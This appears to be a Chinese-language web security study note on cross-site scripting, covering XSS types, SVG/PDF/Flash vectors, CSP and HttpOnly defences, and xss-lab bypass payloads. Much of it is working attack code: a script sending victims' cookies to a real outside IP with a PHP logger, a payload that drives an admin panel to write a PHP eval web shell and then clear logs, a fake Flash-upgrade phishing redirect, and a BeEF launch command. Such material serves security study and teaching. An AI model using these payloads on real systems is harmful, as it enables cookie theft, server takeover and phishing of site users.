XSS跨站
一、反射型、存储型、DOM型、标签闭合、输入输出、JS代码解析
1.XSS跨站-输入输出-原理&分类&闭合
漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BASE
拓展类型:jquery,mxss,uxss,pdfxss,flashxss, 上传xss等
常用标签:xss 常用标签及绕过姿势总结
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等
测试流程:看输出想输入在哪里,更改输入看执行(标签、过滤决定)
2.XSS跨站-分类测试-反射&存储&DOM
-数据交互的地方
get, post, headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
数据输出
评论,留言等
关键词、标签、说明
文件上传
-反射型XSS:
常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。
-存储型XSS:
存储型XSS是持久化的XSs攻击方式,将恶意代码存储于服务器端,当其他用户再次访问页面时触发,造成XSS攻击。
-DOM-base型XSS:(某案例测试)通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
二、SVG、PDF、FLASH、MXSS、UXSS、配合上传、文件添加脚本
1.MxSS
2.UXSs全称Universal Cross-Site Scripting
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行
3.SVG-XSS
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
点击查看代码
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2"fill="red" />
<script>alert(1)</script>
</svg>
svg-制作带有js代码执行的文件,利用上传,取得文件路径,去触发js代码
pdf-制作带有js代码执行的文件,利用上传,取得文件路径去触发js代码
swf-1、制作带有js代码执行的文件,利用上传,取得文件路径去触发js代码
-2、对本身的swf反编译逆向,分析触发点触发js
4.PDF-XSS
1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发
项目:迅捷PDF编辑器试用版
5.FLASH-XSS
-制作swf-xss文件:
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析
点击查看代码
//取m参数
var m= root.m;
//调用html中Javascript中的m参数值flash.external.ExternalInterface.call(m) ;
触发:?m=alert(/xss/)
项目: Adobe Flash Professional CS6
6.测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有: getURL, navigateToURL, ExternalInterface.call, htmlText.loadMovie等等
项目: JPEXS Free Flash Decompiler
三、cookie盗取、表单劫持、网络钓鱼、溯源分析、项目平台框架
1.XSS跨站-攻击利用-凭据盗取条件
无防护Cookie凭据获取
利用:XSS平台或手写接受代码
点击查看代码
触发:
<script>var
url='http://47.94.236.17/getcookie.php?u='+window.location.href+'&c='+document.cookie; document.write ("<img src="+url+"/>");</script>
接受:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite ($fp,$url."|".$cookie."\n");
fclose ($fp) ;
?>
2.XSS跨站-攻击利用-数据提交
条件:熟悉后台业务功能数据包,利用JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
点击查看代码
<script src="http://xx.xxx.xxx/poc.js"></script>
function poc()(
$.get ('/service/app/tasks.php?type=task list', {},function (data) {
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function (res2) {
$.post ('/service/app/log.php?type=clearlog',{
}, function (res3) (), "json");
},"json");
},"json");
}
function save (){
var data=new Object ();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval ($_POST[123]);?>"
>C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post ('/service/app/tasks.php?type=save_shell',data,function (res)
{
poc ();
},'json');
}
save();
3.XSS跨站-攻击利用-网络钓鱼
1、部署可访问的钓鱼页面并修改
2、植入xs代码等待受害者触发
3、将后门及正常文件捆绑打包免杀
<script>alert('当前浏览器Flash版本过低,请下载升级!');
location.href='http://xxx.xxx.xxx'</script>
4.XSS跨站-攻击利用-溯源综合
1、Xss数据平台-XSsReceiver简单配置即可使用,无需数据库,无需其他组件支持搭建:
2、浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用搭建:docker run --rm -p 3000:3000 janes/beef
四、CSP策略、HttpOnly属性、Filter过滤器、标签闭合、事件触发
1.CSP (Content Security Policy 内容安全策略
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub使用)。
禁止未授权的脚本执行(新特性,GoogleMap移动版在使用)。合理使用上报可以及时发现XSS,利于尽快修复问题。
实验:
开启CSP时XSS的加载情况
未开启CSP时XSS的加载情况
绕过:有但鸡肋
2. HttpOnly
禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
PHP.INI设置或代码引用
-session.cookie_httponly =1
-ini set ("session.cookie_httponly", 1);
-setcookie('', '',time() + 3600,'/xss','',false, true);
实验:开启HttpOnly时XSS窃取Cookie的加载情况
未开启HttpOnly时xSs窃取Cookie的加载情况
绕过:有但鸡肋
(1) CVE-2012-0053
(2)PHPINFO页面/
(3) Flash/Java
思路:不获取cookie采用方式,钓鱼、浏览器攻击框架等
3. XSS Filter
检查用户输入的数据中是否包含特殊字符,如<、>、‘、",进行实体化等。
header ("Content-Security-Policy:img-src 'self' ");
实验:手工分析&工具分析Xss-Lab 标签及常见过滤绕过环境下载:Re13orn / xss-lab
参考资料:XSS总结
工具资料: s0md3v / XSStrike可以写出各种payload供执行
五、XSS靶场各种练习类型
1、无任何过滤
<script>alert()</script>
2、实体化输入框没有
<script>alert()</script><"
3、全部实体化、利用标签事件单引号闭合
' onfocus=javascript:alert ()'
4、全部实体化利用标签事件、双引号闭合
" onfocus=javascript:alert () "
5、事件关键字过滤、利用其他标签调用、双引号闭合
"> <a href=javascript:alert ()>xxx</a> <"
6、利用大小写未正则匹配
"> <sCript>alert()</sCript> <"
7、利用双写绕过匹配
"> <a hrehreff=javasscriptcript:alert ()>x</a> <"
8、利用Unicode编码
javascript:alert()
9、利用Unicode编码(内容检测)
javascript:alert()('http://')
10、隐藏属性触发闭合
?t_sort=" onfocus=javascript:alert () type="text
六、黑盒XSS分析:
1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送JS代码去看执行加载情况
3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等

浙公网安备 33010602011771号